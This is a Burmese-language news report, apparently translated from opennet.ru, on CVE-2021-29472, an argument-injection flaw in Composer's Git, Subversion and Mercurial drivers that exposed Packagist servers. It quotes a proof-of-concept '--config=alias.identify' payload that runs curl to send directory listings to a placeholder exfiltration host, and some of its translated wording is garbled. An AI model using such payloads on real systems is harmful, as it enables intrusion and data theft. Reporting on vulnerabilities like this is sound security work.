Packagist PHP repository ကို အပေးအယူလုပ်ရန် ခွင့်ပြုသော Composer package manager တွင် အားနည်းချက်

အရင်းအမြစ်ကုဒ်ကို ဒေါင်းလုဒ်လုပ်ရန်အတွက် လိပ်စာကိုသတ်မှတ်ပေးသည့် အထူးဖော်မတ်ချထားသည့် URL တန်ဖိုးဖြင့် ပက်ကေ့ဂျ်ကို ဒေါင်းလုဒ်လုပ်သည့်အခါတွင် မထင်သလိုအမိန့်ပေးချက်များကို လုပ်ဆောင်ခွင့်ပြုသည့် အရေးပါသော အားနည်းချက် (CVE-2021-29472) ကို Composer မှီခိုမှုမန်နေဂျာတွင် ဖော်ထုတ်ထားသည်။ Git၊ Subversion နှင့် Mercurial အရင်းအမြစ်ထိန်းချုပ်မှုစနစ်များကို အသုံးပြုသောအခါတွင် အသုံးပြုသည့် GitDriver၊ SvnDriver နှင့် HgDriver အစိတ်အပိုင်းများတွင် ပြဿနာဖြစ်ပေါ်ပါသည်။ Composer ထုတ်ဝေမှုများ 1.10.22 နှင့် 2.0.13 တို့တွင် အားနည်းချက်ကို ဖြေရှင်းခဲ့သည်။

အဆိုပါပြဿနာသည် PHP developer များအတွက် 306 ပက်ကေ့ဂျ်များပါ ၀ င်ပြီးတစ်လလျှင်ဒေါင်းလုဒ်ပေါင်း 1.4 ဘီလီယံကျော်ကိုပေးဆောင်သော Composer ၏မူလအထုပ်သိုလှောင်မှုဖြစ်သော Packagist ကိုထိခိုက်စေကြောင်းအထူးသတိပြုမိပါသည်။ ပြဿနာကို သိရှိပါက တိုက်ခိုက်သူများသည် Packagist အခြေခံအဆောက်အအုံကို ထိန်းချုပ်နိုင်ပြီး ထိန်းသိမ်းသူများ၏ အထောက်အထားများကို ကြားဖြတ်ခြင်း သို့မဟုတ် အထုပ်ဒေါင်းလုဒ်များကို ပြင်ပဆာဗာသို့ ပြန်လည်လမ်းညွှန်ခြင်း၊ နောက်ခံအမျိုးအစားများကို အစားထိုးရန် အန္တရာယ်ရှိသော အပြောင်းအလဲများဖြင့် ပက်ကေ့ဂျ်မျိုးကွဲများ ပေးပို့ခြင်းကို စီစဉ်ခြင်းအား စမ်းသပ်မှုတွင် ပြသခဲ့သည်။ မှီခိုတပ်ဆင်မှုလုပ်ငန်းစဉ်အတွင်း။

သုံးစွဲသူများအတွက် အန္တရာယ်မှာ composer.json ၏ အကြောင်းအရာကို များသောအားဖြင့် အသုံးပြုသူမှ ဆုံးဖြတ်လေ့ရှိပြီး များသောအားဖြင့် ယုံကြည်စိတ်ချရသော ပြင်ပအဖွဲ့အစည်း သိုလှောင်နေရာကို ဝင်ရောက်သည့်အခါတွင် အရင်းအမြစ်လင့်ခ်များကို ပို့လွှတ်ပါသည်။ အသုံးပြုသူများထံမှရရှိသောဒေတာလွှဲပြောင်းမှုနှင့်အတူ Composer ဟုခေါ်သောအဓိကထိုးနှက်ချက်မှာ Packagist.org repository နှင့် Private Packagist ဝန်ဆောင်မှုတွင်ကျရောက်ခဲ့သည်။ တိုက်ခိုက်သူများသည် အထူးဒီဇိုင်းထုတ်ထားသော ပက်ကေ့ခ်ျကို ထားခြင်းဖြင့် Packagist ဆာဗာများတွင် ၎င်းတို့၏ကုဒ်ကို လုပ်ဆောင်နိုင်သည်။

Packagist အဖွဲ့သည် အားနည်းချက်ကို အစီရင်ခံပြီး 12 နာရီအတွင်း အားနည်းချက်ကို ပြင်ဆင်ခဲ့သည်။ သုတေသီများသည် Packagist developer များအား ဧပြီလ 22 ရက်နေ့တွင် သီးသန့်အကြောင်းကြားခဲ့ပြီး ထိုနေ့တွင်ပင် ပြဿနာကို ဖြေရှင်းခဲ့သည်။ အားနည်းချက်ကို ဖြေရှင်းသည့် Composer အတွက် အများသူငှာ အပ်ဒိတ်ကို ဧပြီလ ၂၇ ရက်နေ့တွင် ထုတ်ပြန်ခဲ့ပြီး အသေးစိတ်အချက်အလက်များကို ဧပြီလ ၂၈ ရက်နေ့တွင် ထုတ်ပြန်ခဲ့သည်။ Packagist ဆာဗာများပေါ်ရှိ မှတ်တမ်းများကို စစ်ဆေးခြင်းတွင် အားနည်းချက်နှင့် ပတ်သက်သည့် သံသယဖြစ်ဖွယ်လုပ်ဆောင်ချက်ကို ဖော်ပြခြင်းမရှိပေ။

ပြဿနာသည် root composer.json ဖိုင်နှင့် အရင်းအမြစ်ဒေါင်းလုဒ်လင့်ခ်များရှိ URL အတည်ပြုကုဒ်ရှိ ချွတ်ယွင်းချက်ကြောင့်ဖြစ်သည်။ အမှားသည် 2011 ခုနှစ် နိုဝင်ဘာလကတည်းက ကုဒ်တွင် ရှိနေပါသည်။ Packagist သည် "fromShellCommandline" ကိုခေါ်ဆိုပြီး command line arguments များကိုဖြတ်သန်းခြင်းဖြင့် လုပ်ဆောင်သည့် သီးခြားအရင်းအမြစ်ထိန်းချုပ်မှုစနစ်နှင့် ချိတ်ဆက်ခြင်းမပြုဘဲ ကုဒ်ဖွင့်ခြင်းကိုစုစည်းရန် အထူးအလွှာများကိုအသုံးပြုသည်။ ဥပမာအားဖြင့်၊ git အတွက်၊ "git ls-remote -heads $URL" ဟူသော ညွှန်ကြားချက်ကို "ProcessExecutor::escape($url)" နည်းလမ်းကို အသုံးပြု၍ URL ကို လုပ်ဆောင်ပြီး "$. ကဲ့သို့သော အန္တရာယ်ရှိသော တည်ဆောက်မှုများမှ လွတ်မြောက်ခြင်း ..)" သို့မဟုတ် "`...`"။

ပြဿနာ၏အဓိကအချက်မှာ ProcessExecutor::escape method သည် URL တွင်ထည့်သွင်းထားသည့်နောက်ထပ်ခေါ်ဆိုမှုကန့်သတ်ချက်များကိုခွင့်ပြုထားသည့် “—” sequence မှမလွတ်ဘဲဖြစ်သည်။ ထိုသို့သော ထွက်ပြေးခြင်းသည် GitDriver.php၊ SvnDriver.php နှင့် HgDriver.php ဒရိုက်ဘာများတွင် ပျောက်ဆုံးနေပါသည်။ GitDriver.php တိုက်ခိုက်မှုသည် “git ls-remote” command သည် လမ်းကြောင်းပြီးနောက် ထပ်လောင်းအငြင်းအခုံများကို သတ်မှတ်ခြင်းအား ပံ့ပိုးမပေးသည့်အတွက် အဟန့်အတားဖြစ်စေပါသည်။ HgDriver.php တွင်တိုက်ခိုက်မှုတစ်ခုသည် "--config" parameter ကို "hq" utility သို့ "alias.identify" ဆက်တင်ကိုကြိုးကိုင်ခြင်းဖြင့်မည်သည့်အမိန့်ကိုမဆိုလုပ်ဆောင်မှုကိုစီစဉ်နိုင်စေခြင်းဖြင့်ဖြစ်နိုင်ခဲ့သည်။ ဥပမာအားဖြင့်၊ curl utility ကိုလည်ပတ်ခြင်းဖြင့်ကုဒ်ကိုဒေါင်းလုဒ်လုပ်ပြီးလုပ်ဆောင်ရန်၊ သင်သည်-config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)” ဟု သတ်မှတ်နိုင်ပါသည်။

Packagist နှင့် အလားတူ URL ပါသည့် စမ်းသပ်ပက်ကေ့ဂျ်တစ်ခုကို တင်ခြင်းဖြင့် သုတေသီများသည် တင်ပြီးနောက် ၎င်းတို့၏ဆာဗာသည် ၎င်းတို့ထဲမှ တစ်ခုမှ HTTP တောင်းဆိုမှုကို လက်ခံရရှိကြောင်း အတည်ပြုခဲ့သည်။ ဆာဗာများ လက်ရှိ directory ရှိ ဖိုင်များစာရင်းပါဝင်သည့် AWS ရှိ Packagist။

source: opennet.ru

DDoS ကာကွယ်ရေး၊ VPS VDS ဆာဗာများပါသည့် ဆိုက်များအတွက် ယုံကြည်စိတ်ချရသော hosting ကို ဝယ်ယူပါ။ 🔥 DDoS ကာကွယ်မှု၊ VPS VDS ဆာဗာများပါရှိသော ယုံကြည်စိတ်ချရသော ဝဘ်ဆိုက် hosting ကို ဝယ်ယူပါ | ProHoster